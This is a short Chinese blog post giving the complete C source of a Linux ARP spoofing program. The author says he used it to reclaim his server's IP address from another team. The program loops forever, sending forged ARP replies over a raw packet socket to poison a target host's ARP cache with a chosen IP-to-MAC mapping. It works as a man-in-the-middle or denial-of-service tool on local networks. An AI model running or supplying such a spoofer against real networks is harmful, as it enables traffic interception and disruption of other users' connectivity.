linux下ARP欺骗程序

    很久以前写的一个arp reply程序，关键时刻有时能派上用场，保存一下。有次自己服务器的IP不知道被哪个组的抢了，导致上不了网，而网管又找不到是哪台服务器。实在没有办法，只用用此程序夺回了自己的IP。

注意这里IP地址和MAC地址都是假的。

1. #include <stdio.h>
2. #include <stdlib.h>
3. #include <net/ethernet.h>
4. #include <netinet/if_ether.h>
5. #include <netinet/in.h>
6. #include <sys/socket.h>
8. #define SRC_IP "238.221.236.83"
9. #define TARGET_IP "238.221.236.119"
11. short SRC_MAC[]={0x00,0x03,0x1A,0x01,0x00,0x00};
12. short TARGET_MAC[]={0x00,0x12,0x25,0x9D,0xC1,0xF0};
14. void send_arp_reply(void);
15. int main(int argc ,char *args[])
16. {
17.     while(1)
18.     {
19.         send_arp_reply();
20.         sleep(30);
21.     }
22.     return 0;
23. }
24. void send_arp_reply(void)
25. {
26.     struct ether_header *eth_hdr;
27.     struct ether_arp *arp;
28.     char datagram[60];
29.     eth_hdr=(struct ether_header *)datagram;
30.     memset(datagram,0,sizeof(datagram));
32.     //set the ethernet header
33.     eth_hdr->ether_dhost[0]=TARGET_MAC[0];
34.     eth_hdr->ether_dhost[1]=TARGET_MAC[1];
35.     eth_hdr->ether_dhost[2]=TARGET_MAC[2];
36.     eth_hdr->ether_dhost[3]=TARGET_MAC[3];
37.     eth_hdr->ether_dhost[4]=TARGET_MAC[4];
38.     eth_hdr->ether_dhost[5]=TARGET_MAC[5];
40.     eth_hdr->ether_shost[0]=SRC_MAC[0];
41.     eth_hdr->ether_shost[1]=SRC_MAC[1];
42.     eth_hdr->ether_shost[2]=SRC_MAC[2];
43.     eth_hdr->ether_shost[3]=SRC_MAC[3];
44.     eth_hdr->ether_shost[4]=SRC_MAC[4];
45.     eth_hdr->ether_shost[5]=SRC_MAC[5];
47.     eth_hdr->ether_type=htons(ETHERTYPE_ARP);
49.     //set the arp header 
50.     arp=(struct arp*)(datagram+sizeof(struct ether_header));    
51.     arp->arp_hrd=htons(ARPHRD_ETHER);
52.     arp->arp_pro=htons(ETHERTYPE_IP);
53.     arp->arp_hln=6;
54.     arp->arp_pln=4;
55.     arp->arp_op=htons(2);
57.     //arp body
58.     //sender MAC and IP
59.     memcpy((void*)arp->arp_sha,(void*)eth_hdr->ether_shost,6);
60.     struct in_addr inadd_sender;
61.     inet_aton(SRC_IP,&inadd_sender);
62.     memcpy((void*)arp->arp_spa,(void*)&inadd_sender,4);
64.     //target MAC and IP
65.     memcpy((void*)arp->arp_tha,(void*)eth_hdr->ether_dhost,6);
66.     struct in_addr inadd_target;
67.     inet_aton(TARGET_IP,&inadd_target); 
68.     memcpy((void *)arp->arp_tpa,(void*)&inadd_target,4);
70.     //establish socket
71.     int fd=socket(AF_INET,SOCK_PACKET,htons(ETH_P_ARP));
72.     if(fd<0)
73.     {
74.         perror("socket");
75.         exit(-1);
76.     }
77.     struct sockaddr sa;
78.     strcpy(sa.sa_data,"eth0");
79.     sendto(fd,datagram,sizeof(datagram),0,&sa,sizeof(sa));
80.     
81.     close(fd);
82.     return ;
83. }

具体报文格式参考：<<TCP/IP详解>> 一书